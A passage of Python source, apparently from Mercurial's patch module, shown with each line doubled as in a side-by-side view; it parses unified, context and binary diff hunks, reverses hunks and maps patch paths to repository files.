1386 m = unidesc.match(self.desc)
1387 if not m:
1387 if not m:
1388 raise PatchError(_(b"bad hunk #%d") % self.number)
1388 raise PatchError(_(b"bad hunk #%d") % self.number)
1389 self.starta, self.lena, self.startb, self.lenb = m.groups()
1389 self.starta, self.lena, self.startb, self.lenb = m.groups()
1390 if self.lena is None:
1390 if self.lena is None:
1391 self.lena = 1
1391 self.lena = 1
1392 else:
1392 else:
1393 self.lena = int(self.lena)
1393 self.lena = int(self.lena)
1394 if self.lenb is None:
1394 if self.lenb is None:
1395 self.lenb = 1
1395 self.lenb = 1
1396 else:
1396 else:
1397 self.lenb = int(self.lenb)
1397 self.lenb = int(self.lenb)
1398 self.starta = int(self.starta)
1398 self.starta = int(self.starta)
1399 self.startb = int(self.startb)
1399 self.startb = int(self.startb)
1400 try:
1400 try:
1401 diffhelper.addlines(
1401 diffhelper.addlines(
1402 lr, self.hunk, self.lena, self.lenb, self.a, self.b
1402 lr, self.hunk, self.lena, self.lenb, self.a, self.b
1403 )
1403 )
1404 except error.ParseError as e:
1404 except error.ParseError as e:
1405 raise PatchError(_(b"bad hunk #%d: %s") % (self.number, e))
1405 raise PatchError(_(b"bad hunk #%d: %s") % (self.number, e))
1406 # if we hit eof before finishing out the hunk, the last line will
1406 # if we hit eof before finishing out the hunk, the last line will
1407 # be zero length. Lets try to fix it up.
1407 # be zero length. Lets try to fix it up.
1408 while len(self.hunk[-1]) == 0:
1408 while len(self.hunk[-1]) == 0:
1409 del self.hunk[-1]
1409 del self.hunk[-1]
1410 del self.a[-1]
1410 del self.a[-1]
1411 del self.b[-1]
1411 del self.b[-1]
1412 self.lena -= 1
1412 self.lena -= 1
1413 self.lenb -= 1
1413 self.lenb -= 1
1414 self._fixnewline(lr)
1414 self._fixnewline(lr)
1415
1415
1416 def read_context_hunk(self, lr):
1416 def read_context_hunk(self, lr):
1417 self.desc = lr.readline()
1417 self.desc = lr.readline()
1418 m = contextdesc.match(self.desc)
1418 m = contextdesc.match(self.desc)
1419 if not m:
1419 if not m:
1420 raise PatchError(_(b"bad hunk #%d") % self.number)
1420 raise PatchError(_(b"bad hunk #%d") % self.number)
1421 self.starta, aend = m.groups()
1421 self.starta, aend = m.groups()
1422 self.starta = int(self.starta)
1422 self.starta = int(self.starta)
1423 if aend is None:
1423 if aend is None:
1424 aend = self.starta
1424 aend = self.starta
1425 self.lena = int(aend) - self.starta
1425 self.lena = int(aend) - self.starta
1426 if self.starta:
1426 if self.starta:
1427 self.lena += 1
1427 self.lena += 1
1428 for x in pycompat.xrange(self.lena):
1428 for x in pycompat.xrange(self.lena):
1429 l = lr.readline()
1429 l = lr.readline()
1430 if l.startswith(b'---'):
1430 if l.startswith(b'---'):
1431 # lines addition, old block is empty
1431 # lines addition, old block is empty
1432 lr.push(l)
1432 lr.push(l)
1433 break
1433 break
1434 s = l[2:]
1434 s = l[2:]
1435 if l.startswith(b'- ') or l.startswith(b'! '):
1435 if l.startswith(b'- ') or l.startswith(b'! '):
1436 u = b'-' + s
1436 u = b'-' + s
1437 elif l.startswith(b' '):
1437 elif l.startswith(b' '):
1438 u = b' ' + s
1438 u = b' ' + s
1439 else:
1439 else:
1440 raise PatchError(
1440 raise PatchError(
1441 _(b"bad hunk #%d old text line %d") % (self.number, x)
1441 _(b"bad hunk #%d old text line %d") % (self.number, x)
1442 )
1442 )
1443 self.a.append(u)
1443 self.a.append(u)
1444 self.hunk.append(u)
1444 self.hunk.append(u)
1445
1445
1446 l = lr.readline()
1446 l = lr.readline()
1447 if l.startswith(br'\ '):
1447 if l.startswith(br'\ '):
1448 s = self.a[-1][:-1]
1448 s = self.a[-1][:-1]
1449 self.a[-1] = s
1449 self.a[-1] = s
1450 self.hunk[-1] = s
1450 self.hunk[-1] = s
1451 l = lr.readline()
1451 l = lr.readline()
1452 m = contextdesc.match(l)
1452 m = contextdesc.match(l)
1453 if not m:
1453 if not m:
1454 raise PatchError(_(b"bad hunk #%d") % self.number)
1454 raise PatchError(_(b"bad hunk #%d") % self.number)
1455 self.startb, bend = m.groups()
1455 self.startb, bend = m.groups()
1456 self.startb = int(self.startb)
1456 self.startb = int(self.startb)
1457 if bend is None:
1457 if bend is None:
1458 bend = self.startb
1458 bend = self.startb
1459 self.lenb = int(bend) - self.startb
1459 self.lenb = int(bend) - self.startb
1460 if self.startb:
1460 if self.startb:
1461 self.lenb += 1
1461 self.lenb += 1
1462 hunki = 1
1462 hunki = 1
1463 for x in pycompat.xrange(self.lenb):
1463 for x in pycompat.xrange(self.lenb):
1464 l = lr.readline()
1464 l = lr.readline()
1465 if l.startswith(br'\ '):
1465 if l.startswith(br'\ '):
1466 # XXX: the only way to hit this is with an invalid line range.
1466 # XXX: the only way to hit this is with an invalid line range.
1467 # The no-eol marker is not counted in the line range, but I
1467 # The no-eol marker is not counted in the line range, but I
1468 # guess there are diff(1) out there which behave differently.
1468 # guess there are diff(1) out there which behave differently.
1469 s = self.b[-1][:-1]
1469 s = self.b[-1][:-1]
1470 self.b[-1] = s
1470 self.b[-1] = s
1471 self.hunk[hunki - 1] = s
1471 self.hunk[hunki - 1] = s
1472 continue
1472 continue
1473 if not l:
1473 if not l:
1474 # line deletions, new block is empty and we hit EOF
1474 # line deletions, new block is empty and we hit EOF
1475 lr.push(l)
1475 lr.push(l)
1476 break
1476 break
1477 s = l[2:]
1477 s = l[2:]
1478 if l.startswith(b'+ ') or l.startswith(b'! '):
1478 if l.startswith(b'+ ') or l.startswith(b'! '):
1479 u = b'+' + s
1479 u = b'+' + s
1480 elif l.startswith(b' '):
1480 elif l.startswith(b' '):
1481 u = b' ' + s
1481 u = b' ' + s
1482 elif len(self.b) == 0:
1482 elif len(self.b) == 0:
1483 # line deletions, new block is empty
1483 # line deletions, new block is empty
1484 lr.push(l)
1484 lr.push(l)
1485 break
1485 break
1486 else:
1486 else:
1487 raise PatchError(
1487 raise PatchError(
1488 _(b"bad hunk #%d old text line %d") % (self.number, x)
1488 _(b"bad hunk #%d old text line %d") % (self.number, x)
1489 )
1489 )
1490 self.b.append(s)
1490 self.b.append(s)
1491 while True:
1491 while True:
1492 if hunki >= len(self.hunk):
1492 if hunki >= len(self.hunk):
1493 h = b""
1493 h = b""
1494 else:
1494 else:
1495 h = self.hunk[hunki]
1495 h = self.hunk[hunki]
1496 hunki += 1
1496 hunki += 1
1497 if h == u:
1497 if h == u:
1498 break
1498 break
1499 elif h.startswith(b'-'):
1499 elif h.startswith(b'-'):
1500 continue
1500 continue
1501 else:
1501 else:
1502 self.hunk.insert(hunki - 1, u)
1502 self.hunk.insert(hunki - 1, u)
1503 break
1503 break
1504
1504
1505 if not self.a:
1505 if not self.a:
1506 # this happens when lines were only added to the hunk
1506 # this happens when lines were only added to the hunk
1507 for x in self.hunk:
1507 for x in self.hunk:
1508 if x.startswith(b'-') or x.startswith(b' '):
1508 if x.startswith(b'-') or x.startswith(b' '):
1509 self.a.append(x)
1509 self.a.append(x)
1510 if not self.b:
1510 if not self.b:
1511 # this happens when lines were only deleted from the hunk
1511 # this happens when lines were only deleted from the hunk
1512 for x in self.hunk:
1512 for x in self.hunk:
1513 if x.startswith(b'+') or x.startswith(b' '):
1513 if x.startswith(b'+') or x.startswith(b' '):
1514 self.b.append(x[1:])
1514 self.b.append(x[1:])
1515 # @@ -start,len +start,len @@
1515 # @@ -start,len +start,len @@
1516 self.desc = b"@@ -%d,%d +%d,%d @@\n" % (
1516 self.desc = b"@@ -%d,%d +%d,%d @@\n" % (
1517 self.starta,
1517 self.starta,
1518 self.lena,
1518 self.lena,
1519 self.startb,
1519 self.startb,
1520 self.lenb,
1520 self.lenb,
1521 )
1521 )
1522 self.hunk[0] = self.desc
1522 self.hunk[0] = self.desc
1523 self._fixnewline(lr)
1523 self._fixnewline(lr)
1524
1524
1525 def _fixnewline(self, lr):
1525 def _fixnewline(self, lr):
1526 l = lr.readline()
1526 l = lr.readline()
1527 if l.startswith(br'\ '):
1527 if l.startswith(br'\ '):
1528 diffhelper.fixnewline(self.hunk, self.a, self.b)
1528 diffhelper.fixnewline(self.hunk, self.a, self.b)
1529 else:
1529 else:
1530 lr.push(l)
1530 lr.push(l)
1531
1531
1532 def complete(self):
1532 def complete(self):
1533 return len(self.a) == self.lena and len(self.b) == self.lenb
1533 return len(self.a) == self.lena and len(self.b) == self.lenb
1534
1534
1535 def _fuzzit(self, old, new, fuzz, toponly):
1535 def _fuzzit(self, old, new, fuzz, toponly):
1536 # this removes context lines from the top and bottom of list 'l'. It
1536 # this removes context lines from the top and bottom of list 'l'. It
1537 # checks the hunk to make sure only context lines are removed, and then
1537 # checks the hunk to make sure only context lines are removed, and then
1538 # returns a new shortened list of lines.
1538 # returns a new shortened list of lines.
1539 fuzz = min(fuzz, len(old))
1539 fuzz = min(fuzz, len(old))
1540 if fuzz:
1540 if fuzz:
1541 top = 0
1541 top = 0
1542 bot = 0
1542 bot = 0
1543 hlen = len(self.hunk)
1543 hlen = len(self.hunk)
1544 for x in pycompat.xrange(hlen - 1):
1544 for x in pycompat.xrange(hlen - 1):
1545 # the hunk starts with the @@ line, so use x+1
1545 # the hunk starts with the @@ line, so use x+1
1546 if self.hunk[x + 1].startswith(b' '):
1546 if self.hunk[x + 1].startswith(b' '):
1547 top += 1
1547 top += 1
1548 else:
1548 else:
1549 break
1549 break
1550 if not toponly:
1550 if not toponly:
1551 for x in pycompat.xrange(hlen - 1):
1551 for x in pycompat.xrange(hlen - 1):
1552 if self.hunk[hlen - bot - 1].startswith(b' '):
1552 if self.hunk[hlen - bot - 1].startswith(b' '):
1553 bot += 1
1553 bot += 1
1554 else:
1554 else:
1555 break
1555 break
1556
1556
1557 bot = min(fuzz, bot)
1557 bot = min(fuzz, bot)
1558 top = min(fuzz, top)
1558 top = min(fuzz, top)
1559 return old[top : len(old) - bot], new[top : len(new) - bot], top
1559 return old[top : len(old) - bot], new[top : len(new) - bot], top
1560 return old, new, 0
1560 return old, new, 0
1561
1561
1562 def fuzzit(self, fuzz, toponly):
1562 def fuzzit(self, fuzz, toponly):
1563 old, new, top = self._fuzzit(self.a, self.b, fuzz, toponly)
1563 old, new, top = self._fuzzit(self.a, self.b, fuzz, toponly)
1564 oldstart = self.starta + top
1564 oldstart = self.starta + top
1565 newstart = self.startb + top
1565 newstart = self.startb + top
1566 # zero length hunk ranges already have their start decremented
1566 # zero length hunk ranges already have their start decremented
1567 if self.lena and oldstart > 0:
1567 if self.lena and oldstart > 0:
1568 oldstart -= 1
1568 oldstart -= 1
1569 if self.lenb and newstart > 0:
1569 if self.lenb and newstart > 0:
1570 newstart -= 1
1570 newstart -= 1
1571 return old, oldstart, new, newstart
1571 return old, oldstart, new, newstart
1572
1572
1573
1573
1574 class binhunk(object):
1574 class binhunk(object):
1575 """A binary patch file."""
1575 """A binary patch file."""
1576
1576
1577 def __init__(self, lr, fname):
1577 def __init__(self, lr, fname):
1578 self.text = None
1578 self.text = None
1579 self.delta = False
1579 self.delta = False
1580 self.hunk = [b'GIT binary patch\n']
1580 self.hunk = [b'GIT binary patch\n']
1581 self._fname = fname
1581 self._fname = fname
1582 self._read(lr)
1582 self._read(lr)
1583
1583
1584 def complete(self):
1584 def complete(self):
1585 return self.text is not None
1585 return self.text is not None
1586
1586
1587 def new(self, lines):
1587 def new(self, lines):
1588 if self.delta:
1588 if self.delta:
1589 return [applybindelta(self.text, b''.join(lines))]
1589 return [applybindelta(self.text, b''.join(lines))]
1590 return [self.text]
1590 return [self.text]
1591
1591
1592 def _read(self, lr):
1592 def _read(self, lr):
1593 def getline(lr, hunk):
1593 def getline(lr, hunk):
1594 l = lr.readline()
1594 l = lr.readline()
1595 hunk.append(l)
1595 hunk.append(l)
1596 return l.rstrip(b'\r\n')
1596 return l.rstrip(b'\r\n')
1597
1597
1598 while True:
1598 while True:
1599 line = getline(lr, self.hunk)
1599 line = getline(lr, self.hunk)
1600 if not line:
1600 if not line:
1601 raise PatchError(
1601 raise PatchError(
1602 _(b'could not extract "%s" binary data') % self._fname
1602 _(b'could not extract "%s" binary data') % self._fname
1603 )
1603 )
1604 if line.startswith(b'literal '):
1604 if line.startswith(b'literal '):
1605 size = int(line[8:].rstrip())
1605 size = int(line[8:].rstrip())
1606 break
1606 break
1607 if line.startswith(b'delta '):
1607 if line.startswith(b'delta '):
1608 size = int(line[6:].rstrip())
1608 size = int(line[6:].rstrip())
1609 self.delta = True
1609 self.delta = True
1610 break
1610 break
1611 dec = []
1611 dec = []
1612 line = getline(lr, self.hunk)
1612 line = getline(lr, self.hunk)
1613 while len(line) > 1:
1613 while len(line) > 1:
1614 l = line[0:1]
1614 l = line[0:1]
1615 if l <= b'Z' and l >= b'A':
1615 if l <= b'Z' and l >= b'A':
1616 l = ord(l) - ord(b'A') + 1
1616 l = ord(l) - ord(b'A') + 1
1617 else:
1617 else:
1618 l = ord(l) - ord(b'a') + 27
1618 l = ord(l) - ord(b'a') + 27
1619 try:
1619 try:
1620 dec.append(util.b85decode(line[1:])[:l])
1620 dec.append(util.b85decode(line[1:])[:l])
1621 except ValueError as e:
1621 except ValueError as e:
1622 raise PatchError(
1622 raise PatchError(
1623 _(b'could not decode "%s" binary patch: %s')
1623 _(b'could not decode "%s" binary patch: %s')
1624 % (self._fname, stringutil.forcebytestr(e))
1624 % (self._fname, stringutil.forcebytestr(e))
1625 )
1625 )
1626 line = getline(lr, self.hunk)
1626 line = getline(lr, self.hunk)
1627 text = zlib.decompress(b''.join(dec))
1627 text = zlib.decompress(b''.join(dec))
1628 if len(text) != size:
1628 if len(text) != size:
1629 raise PatchError(
1629 raise PatchError(
1630 _(b'"%s" length is %d bytes, should be %d')
1630 _(b'"%s" length is %d bytes, should be %d')
1631 % (self._fname, len(text), size)
1631 % (self._fname, len(text), size)
1632 )
1632 )
1633 self.text = text
1633 self.text = text
1634
1634
1635
1635
1636 def parsefilename(str):
1636 def parsefilename(str):
1637 # --- filename \t|space stuff
1637 # --- filename \t|space stuff
1638 s = str[4:].rstrip(b'\r\n')
1638 s = str[4:].rstrip(b'\r\n')
1639 i = s.find(b'\t')
1639 i = s.find(b'\t')
1640 if i < 0:
1640 if i < 0:
1641 i = s.find(b' ')
1641 i = s.find(b' ')
1642 if i < 0:
1642 if i < 0:
1643 return s
1643 return s
1644 return s[:i]
1644 return s[:i]
1645
1645
1646
1646
1647 def reversehunks(hunks):
1647 def reversehunks(hunks):
1648 '''reverse the signs in the hunks given as argument
1648 '''reverse the signs in the hunks given as argument
1649
1649
1650 This function operates on hunks coming out of patch.filterpatch, that is
1650 This function operates on hunks coming out of patch.filterpatch, that is
1651 a list of the form: [header1, hunk1, hunk2, header2...]. Example usage:
1651 a list of the form: [header1, hunk1, hunk2, header2...]. Example usage:
1652
1652
1653 >>> rawpatch = b"""diff --git a/folder1/g b/folder1/g
1653 >>> rawpatch = b"""diff --git a/folder1/g b/folder1/g
1654 ... --- a/folder1/g
1654 ... --- a/folder1/g
1655 ... +++ b/folder1/g
1655 ... +++ b/folder1/g
1656 ... @@ -1,7 +1,7 @@
1656 ... @@ -1,7 +1,7 @@
1657 ... +firstline
1657 ... +firstline
1658 ... c
1658 ... c
1659 ... 1
1659 ... 1
1660 ... 2
1660 ... 2
1661 ... + 3
1661 ... + 3
1662 ... -4
1662 ... -4
1663 ... 5
1663 ... 5
1664 ... d
1664 ... d
1665 ... +lastline"""
1665 ... +lastline"""
1666 >>> hunks = parsepatch([rawpatch])
1666 >>> hunks = parsepatch([rawpatch])
1667 >>> hunkscomingfromfilterpatch = []
1667 >>> hunkscomingfromfilterpatch = []
1668 >>> for h in hunks:
1668 >>> for h in hunks:
1669 ... hunkscomingfromfilterpatch.append(h)
1669 ... hunkscomingfromfilterpatch.append(h)
1670 ... hunkscomingfromfilterpatch.extend(h.hunks)
1670 ... hunkscomingfromfilterpatch.extend(h.hunks)
1671
1671
1672 >>> reversedhunks = reversehunks(hunkscomingfromfilterpatch)
1672 >>> reversedhunks = reversehunks(hunkscomingfromfilterpatch)
1673 >>> from . import util
1673 >>> from . import util
1674 >>> fp = util.stringio()
1674 >>> fp = util.stringio()
1675 >>> for c in reversedhunks:
1675 >>> for c in reversedhunks:
1676 ... c.write(fp)
1676 ... c.write(fp)
1677 >>> fp.seek(0) or None
1677 >>> fp.seek(0) or None
1678 >>> reversedpatch = fp.read()
1678 >>> reversedpatch = fp.read()
1679 >>> print(pycompat.sysstr(reversedpatch))
1679 >>> print(pycompat.sysstr(reversedpatch))
1680 diff --git a/folder1/g b/folder1/g
1680 diff --git a/folder1/g b/folder1/g
1681 --- a/folder1/g
1681 --- a/folder1/g
1682 +++ b/folder1/g
1682 +++ b/folder1/g
1683 @@ -1,4 +1,3 @@
1683 @@ -1,4 +1,3 @@
1684 -firstline
1684 -firstline
1685 c
1685 c
1686 1
1686 1
1687 2
1687 2
1688 @@ -2,6 +1,6 @@
1688 @@ -2,6 +1,6 @@
1689 c
1689 c
1690 1
1690 1
1691 2
1691 2
1692 - 3
1692 - 3
1693 +4
1693 +4
1694 5
1694 5
1695 d
1695 d
1696 @@ -6,3 +5,2 @@
1696 @@ -6,3 +5,2 @@
1697 5
1697 5
1698 d
1698 d
1699 -lastline
1699 -lastline
1700
1700
1701 '''
1701 '''
1702
1702
1703 newhunks = []
1703 newhunks = []
1704 for c in hunks:
1704 for c in hunks:
1705 if util.safehasattr(c, b'reversehunk'):
1705 if util.safehasattr(c, b'reversehunk'):
1706 c = c.reversehunk()
1706 c = c.reversehunk()
1707 newhunks.append(c)
1707 newhunks.append(c)
1708 return newhunks
1708 return newhunks
1709
1709
1710
1710
1711 def parsepatch(originalchunks, maxcontext=None):
1711 def parsepatch(originalchunks, maxcontext=None):
1712 """patch -> [] of headers -> [] of hunks
1712 """patch -> [] of headers -> [] of hunks
1713
1713
1714 If maxcontext is not None, trim context lines if necessary.
1714 If maxcontext is not None, trim context lines if necessary.
1715
1715
1716 >>> rawpatch = b'''diff --git a/folder1/g b/folder1/g
1716 >>> rawpatch = b'''diff --git a/folder1/g b/folder1/g
1717 ... --- a/folder1/g
1717 ... --- a/folder1/g
1718 ... +++ b/folder1/g
1718 ... +++ b/folder1/g
1719 ... @@ -1,8 +1,10 @@
1719 ... @@ -1,8 +1,10 @@
1720 ... 1
1720 ... 1
1721 ... 2
1721 ... 2
1722 ... -3
1722 ... -3
1723 ... 4
1723 ... 4
1724 ... 5
1724 ... 5
1725 ... 6
1725 ... 6
1726 ... +6.1
1726 ... +6.1
1727 ... +6.2
1727 ... +6.2
1728 ... 7
1728 ... 7
1729 ... 8
1729 ... 8
1730 ... +9'''
1730 ... +9'''
1731 >>> out = util.stringio()
1731 >>> out = util.stringio()
1732 >>> headers = parsepatch([rawpatch], maxcontext=1)
1732 >>> headers = parsepatch([rawpatch], maxcontext=1)
1733 >>> for header in headers:
1733 >>> for header in headers:
1734 ... header.write(out)
1734 ... header.write(out)
1735 ... for hunk in header.hunks:
1735 ... for hunk in header.hunks:
1736 ... hunk.write(out)
1736 ... hunk.write(out)
1737 >>> print(pycompat.sysstr(out.getvalue()))
1737 >>> print(pycompat.sysstr(out.getvalue()))
1738 diff --git a/folder1/g b/folder1/g
1738 diff --git a/folder1/g b/folder1/g
1739 --- a/folder1/g
1739 --- a/folder1/g
1740 +++ b/folder1/g
1740 +++ b/folder1/g
1741 @@ -2,3 +2,2 @@
1741 @@ -2,3 +2,2 @@
1742 2
1742 2
1743 -3
1743 -3
1744 4
1744 4
1745 @@ -6,2 +5,4 @@
1745 @@ -6,2 +5,4 @@
1746 6
1746 6
1747 +6.1
1747 +6.1
1748 +6.2
1748 +6.2
1749 7
1749 7
1750 @@ -8,1 +9,2 @@
1750 @@ -8,1 +9,2 @@
1751 8
1751 8
1752 +9
1752 +9
1753 """
1753 """
1754
1754
1755 class parser(object):
1755 class parser(object):
1756 """patch parsing state machine"""
1756 """patch parsing state machine"""
1757
1757
1758 def __init__(self):
1758 def __init__(self):
1759 self.fromline = 0
1759 self.fromline = 0
1760 self.toline = 0
1760 self.toline = 0
1761 self.proc = b''
1761 self.proc = b''
1762 self.header = None
1762 self.header = None
1763 self.context = []
1763 self.context = []
1764 self.before = []
1764 self.before = []
1765 self.hunk = []
1765 self.hunk = []
1766 self.headers = []
1766 self.headers = []
1767
1767
1768 def addrange(self, limits):
1768 def addrange(self, limits):
1769 self.addcontext([])
1769 self.addcontext([])
1770 fromstart, fromend, tostart, toend, proc = limits
1770 fromstart, fromend, tostart, toend, proc = limits
1771 self.fromline = int(fromstart)
1771 self.fromline = int(fromstart)
1772 self.toline = int(tostart)
1772 self.toline = int(tostart)
1773 self.proc = proc
1773 self.proc = proc
1774
1774
1775 def addcontext(self, context):
1775 def addcontext(self, context):
1776 if self.hunk:
1776 if self.hunk:
1777 h = recordhunk(
1777 h = recordhunk(
1778 self.header,
1778 self.header,
1779 self.fromline,
1779 self.fromline,
1780 self.toline,
1780 self.toline,
1781 self.proc,
1781 self.proc,
1782 self.before,
1782 self.before,
1783 self.hunk,
1783 self.hunk,
1784 context,
1784 context,
1785 maxcontext,
1785 maxcontext,
1786 )
1786 )
1787 self.header.hunks.append(h)
1787 self.header.hunks.append(h)
1788 self.fromline += len(self.before) + h.removed
1788 self.fromline += len(self.before) + h.removed
1789 self.toline += len(self.before) + h.added
1789 self.toline += len(self.before) + h.added
1790 self.before = []
1790 self.before = []
1791 self.hunk = []
1791 self.hunk = []
1792 self.context = context
1792 self.context = context
1793
1793
1794 def addhunk(self, hunk):
1794 def addhunk(self, hunk):
1795 if self.context:
1795 if self.context:
1796 self.before = self.context
1796 self.before = self.context
1797 self.context = []
1797 self.context = []
1798 if self.hunk:
1798 if self.hunk:
1799 self.addcontext([])
1799 self.addcontext([])
1800 self.hunk = hunk
1800 self.hunk = hunk
1801
1801
1802 def newfile(self, hdr):
1802 def newfile(self, hdr):
1803 self.addcontext([])
1803 self.addcontext([])
1804 h = header(hdr)
1804 h = header(hdr)
1805 self.headers.append(h)
1805 self.headers.append(h)
1806 self.header = h
1806 self.header = h
1807
1807
1808 def addother(self, line):
1808 def addother(self, line):
1809 pass # 'other' lines are ignored
1809 pass # 'other' lines are ignored
1810
1810
1811 def finished(self):
1811 def finished(self):
1812 self.addcontext([])
1812 self.addcontext([])
1813 return self.headers
1813 return self.headers
1814
1814
1815 transitions = {
1815 transitions = {
1816 b'file': {
1816 b'file': {
1817 b'context': addcontext,
1817 b'context': addcontext,
1818 b'file': newfile,
1818 b'file': newfile,
1819 b'hunk': addhunk,
1819 b'hunk': addhunk,
1820 b'range': addrange,
1820 b'range': addrange,
1821 },
1821 },
1822 b'context': {
1822 b'context': {
1823 b'file': newfile,
1823 b'file': newfile,
1824 b'hunk': addhunk,
1824 b'hunk': addhunk,
1825 b'range': addrange,
1825 b'range': addrange,
1826 b'other': addother,
1826 b'other': addother,
1827 },
1827 },
1828 b'hunk': {
1828 b'hunk': {
1829 b'context': addcontext,
1829 b'context': addcontext,
1830 b'file': newfile,
1830 b'file': newfile,
1831 b'range': addrange,
1831 b'range': addrange,
1832 },
1832 },
1833 b'range': {b'context': addcontext, b'hunk': addhunk},
1833 b'range': {b'context': addcontext, b'hunk': addhunk},
1834 b'other': {b'other': addother},
1834 b'other': {b'other': addother},
1835 }
1835 }
1836
1836
1837 p = parser()
1837 p = parser()
1838 fp = stringio()
1838 fp = stringio()
1839 fp.write(b''.join(originalchunks))
1839 fp.write(b''.join(originalchunks))
1840 fp.seek(0)
1840 fp.seek(0)
1841
1841
1842 state = b'context'
1842 state = b'context'
1843 for newstate, data in scanpatch(fp):
1843 for newstate, data in scanpatch(fp):
1844 try:
1844 try:
1845 p.transitions[state][newstate](p, data)
1845 p.transitions[state][newstate](p, data)
1846 except KeyError:
1846 except KeyError:
1847 raise PatchError(
1847 raise PatchError(
1848 b'unhandled transition: %s -> %s' % (state, newstate)
1848 b'unhandled transition: %s -> %s' % (state, newstate)
1849 )
1849 )
1850 state = newstate
1850 state = newstate
1851 del fp
1851 del fp
1852 return p.finished()
1852 return p.finished()
1853
1853
1854
1854
1855 def pathtransform(path, strip, prefix):
1855 def pathtransform(path, strip, prefix):
1856 '''turn a path from a patch into a path suitable for the repository
1856 '''turn a path from a patch into a path suitable for the repository
1857
1857
1858 prefix, if not empty, is expected to be normalized with a / at the end.
1858 prefix, if not empty, is expected to be normalized with a / at the end.
1859
1859
1860 Returns (stripped components, path in repository).
1860 Returns (stripped components, path in repository).
1861
1861
1862 >>> pathtransform(b'a/b/c', 0, b'')
1862 >>> pathtransform(b'a/b/c', 0, b'')
1863 ('', 'a/b/c')
1863 ('', 'a/b/c')
1864 >>> pathtransform(b' a/b/c ', 0, b'')
1864 >>> pathtransform(b' a/b/c ', 0, b'')
1865 ('', ' a/b/c')
1865 ('', ' a/b/c')
1866 >>> pathtransform(b' a/b/c ', 2, b'')
1866 >>> pathtransform(b' a/b/c ', 2, b'')
1867 ('a/b/', 'c')
1867 ('a/b/', 'c')
1868 >>> pathtransform(b'a/b/c', 0, b'd/e/')
1868 >>> pathtransform(b'a/b/c', 0, b'd/e/')
1869 ('', 'd/e/a/b/c')
1869 ('', 'd/e/a/b/c')
1870 >>> pathtransform(b' a//b/c ', 2, b'd/e/')
1870 >>> pathtransform(b' a//b/c ', 2, b'd/e/')
1871 ('a//b/', 'd/e/c')
1871 ('a//b/', 'd/e/c')
1872 >>> pathtransform(b'a/b/c', 3, b'')
1872 >>> pathtransform(b'a/b/c', 3, b'')
1873 Traceback (most recent call last):
1873 Traceback (most recent call last):
1874 PatchError: unable to strip away 1 of 3 dirs from a/b/c
1874 PatchError: unable to strip away 1 of 3 dirs from a/b/c
1875 '''
1875 '''
1876 pathlen = len(path)
1876 pathlen = len(path)
1877 i = 0
1877 i = 0
1878 if strip == 0:
1878 if strip == 0:
1879 return b'', prefix + path.rstrip()
1879 return b'', prefix + path.rstrip()
1880 count = strip
1880 count = strip
1881 while count > 0:
1881 while count > 0:
1882 i = path.find(b'/', i)
1882 i = path.find(b'/', i)
1883 if i == -1:
1883 if i == -1:
1884 raise PatchError(
1884 raise PatchError(
1885 _(b"unable to strip away %d of %d dirs from %s")
1885 _(b"unable to strip away %d of %d dirs from %s")
1886 % (count, strip, path)
1886 % (count, strip, path)
1887 )
1887 )
1888 i += 1
1888 i += 1
1889 # consume '//' in the path
1889 # consume '//' in the path
1890 while i < pathlen - 1 and path[i : i + 1] == b'/':
1890 while i < pathlen - 1 and path[i : i + 1] == b'/':
1891 i += 1
1891 i += 1
1892 count -= 1
1892 count -= 1
1893 return path[:i].lstrip(), prefix + path[i:].rstrip()
1893 return path[:i].lstrip(), prefix + path[i:].rstrip()
1894
1894
1895
1895
1896 def makepatchmeta(backend, afile_orig, bfile_orig, hunk, strip, prefix):
1896 def makepatchmeta(backend, afile_orig, bfile_orig, hunk, strip, prefix):
1897 nulla = afile_orig == b"/dev/null"
1897 nulla = afile_orig == b"/dev/null"
1898 nullb = bfile_orig == b"/dev/null"
1898 nullb = bfile_orig == b"/dev/null"
1899 create = nulla and hunk.starta == 0 and hunk.lena == 0
1899 create = nulla and hunk.starta == 0 and hunk.lena == 0
1900 remove = nullb and hunk.startb == 0 and hunk.lenb == 0
1900 remove = nullb and hunk.startb == 0 and hunk.lenb == 0
1901 abase, afile = pathtransform(afile_orig, strip, prefix)
1901 abase, afile = pathtransform(afile_orig, strip, prefix)
1902 gooda = not nulla and backend.exists(afile)
1902 gooda = not nulla and backend.exists(afile)
1903 bbase, bfile = pathtransform(bfile_orig, strip, prefix)
1903 bbase, bfile = pathtransform(bfile_orig, strip, prefix)
1904 if afile == bfile:
1904 if afile == bfile:
1905 goodb = gooda
1905 goodb = gooda
1906 else:
1906 else:
1907 goodb = not nullb and backend.exists(bfile)
1907 goodb = not nullb and backend.exists(bfile)
1908 missing = not goodb and not gooda and not create
1908 missing = not goodb and not gooda and not create
1909
1909
1910 # some diff programs apparently produce patches where the afile is
1910 # some diff programs apparently produce patches where the afile is
1911 # not /dev/null, but afile starts with bfile
1911 # not /dev/null, but afile starts with bfile
1912 abasedir = afile[: afile.rfind(b'/') + 1]
1912 abasedir = afile[: afile.rfind(b'/') + 1]
1913 bbasedir = bfile[: bfile.rfind(b'/') + 1]
1913 bbasedir = bfile[: bfile.rfind(b'/') + 1]
1914 if (
1914 if (
1915 missing
1915 missing
1916 and abasedir == bbasedir
1916 and abasedir == bbasedir
1917 and afile.startswith(bfile)
1917 and afile.startswith(bfile)
1918 and hunk.starta == 0
1918 and hunk.starta == 0
1919 and hunk.lena == 0
1919 and hunk.lena == 0
1920 ):
1920 ):
1921 create = True
1921 create = True
1922 missing = False
1922 missing = False
1923
1923
1924 # If afile is "a/b/foo" and bfile is "a/b/foo.orig" we assume the
1924 # If afile is "a/b/foo" and bfile is "a/b/foo.orig" we assume the
1925 # diff is between a file and its backup. In this case, the original
1925 # diff is between a file and its backup. In this case, the original
1926 # file should be patched (see original mpatch code).
1926 # file should be patched (see original mpatch code).
1927 isbackup = abase == bbase and bfile.startswith(afile)
1927 isbackup = abase == bbase and bfile.startswith(afile)
1928 fname = None
1928 fname = None
1929 if not missing:
1929 if not missing:
1930 if gooda and goodb:
1930 if gooda and goodb:
1931 if isbackup:
1931 if isbackup:
1932 fname = afile
1932 fname = afile
1933 else:
1933 else:
1934 fname = bfile
1934 fname = bfile
1935 elif gooda:
1935 elif gooda:
1936 fname = afile
1936 fname = afile
1937
1937
1938 if not fname:
1938 if not fname:
1939 if not nullb:
1939 if not nullb:
1940 if isbackup:
1940 if isbackup:
1941 fname = afile
1941 fname = afile
1942 else:
1942 else:
1943 fname = bfile
1943 fname = bfile
1944 elif not nulla:
1944 elif not nulla:
1945 fname = afile
1945 fname = afile
1946 else:
1946 else:
